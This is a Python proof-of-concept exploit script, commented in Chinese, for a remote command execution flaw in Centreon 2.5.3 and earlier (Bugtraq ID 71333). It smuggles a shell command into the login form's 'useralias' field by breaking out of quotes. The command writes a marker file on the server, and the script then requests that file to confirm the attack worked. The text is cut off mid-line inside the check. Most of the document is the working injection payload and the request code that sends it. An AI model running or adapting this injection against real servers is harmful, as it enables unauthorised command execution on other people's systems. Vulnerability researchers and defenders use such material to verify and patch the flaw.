Bugtraq ID:71333 PoC

#!/usr/bin/python
#coding: gb2312

# 文件名称：centreon_exec_rce_poc.py
# 编写时间：2014-12-09
# 更新时间：2015-07-17

# 漏洞说明：Centreon 'exec()' 函数远程命令执行漏洞
# 影响版本：Centreon <= 2.5.3
# 特别说明：该漏洞的触发条件是开启了调试权限。具体配置参考：系统管理 -> 参数 -> 调试 -> 认证debug -> Yes

# 漏洞参考：
# Bugtraq ID:71333
# http://www.securityfocus.com/bid/71333/

import sys
import urllib

flag = "leng_que"

# 备注：Centreon内部会把`号过滤掉，同时会把*号转换为\*
shell_cmd = "echo -n '"+flag+"' > leng_que.txt;"

def main(centreon_server_url):
    post_data = urllib.urlencode({"useralias": "\";"+shell_cmd+"\"", "password": "leng_que", "submit": "leng_que"})
    r = urllib.urlopen(centreon_server_url, post_data)
    if ( 200 == r.getcode() ):
        test_file_url = centreon_server_url+"/le